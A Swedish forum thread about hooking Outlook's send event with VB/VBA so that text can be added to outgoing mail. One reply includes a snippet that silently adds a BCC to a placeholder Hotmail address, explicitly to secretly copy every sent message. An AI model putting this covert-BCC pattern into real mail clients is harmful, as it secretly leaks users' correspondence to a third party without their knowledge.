Hej

Ngn som vet hur man fångar upp send-event:et i outlook?
Dvs, jag vill att saker och ting skall hända när användaren tryck på knappen, jag vill t ex lägga in text i pågående brev.

mvh
Axel

Om du bara vill lägga till text i pågående brev, kan du ju lägga till det som en signatur.

/ Peter

hej,

nej inte så. jag vill inte, och kan inte använda signatur, eftersom texten som skall infogas i brevet varierar från gång till gång.

andra förslag? Belönas..

Det här låter nästan som något virus variant. Men klart det går att göra.

Här är ett exempel för att i hemlighet skicka en kopia till dig.
Förutsätter att Outlook är igång när du klikar på Command1:
<code>

Private WithEvents mOutlook As Outlook.Application

Private Sub Command1_Click()
Set mOutlook = GetObject(, "Outlook.Application")
End Sub

Private Sub mOutlook_ItemSend(ByVal Item As Object, Cancel As Boolean)
Dim MailItem As Outlook.MailItem
If TypeOf Item Is Outlook.MailItem Then
Set MailItem = Item
MailItem.BCC = MailItem.BCC & ";DinAdress@hotmail.com"
End If
End Sub
</code>

Hej,

ingen visurvariant.
Syftet är helt enkelt att - på klientsidan alltid infoga viss text, som varierar från gång till gång, varje gång användare trycker på send. Texten kommer innehålla löpnr, sändnr och anv namn.

Men den koden du skrev - hur får jag den att köras varje gång anv trycker på send? Måste jag skapa en speciell meny och en knapp som heter command1?

Axel

Var vill du köra din kod ifrån?

Om du vill köra den internt från Outlook:
Tryck [Alt]+[F11] så får du upp visulabasic editorn i vb.
Där kan du lägga koden som skall köras i Application_ItemSend eventet.

tack, det fungerar!

en stor fet guldstjärna!

alex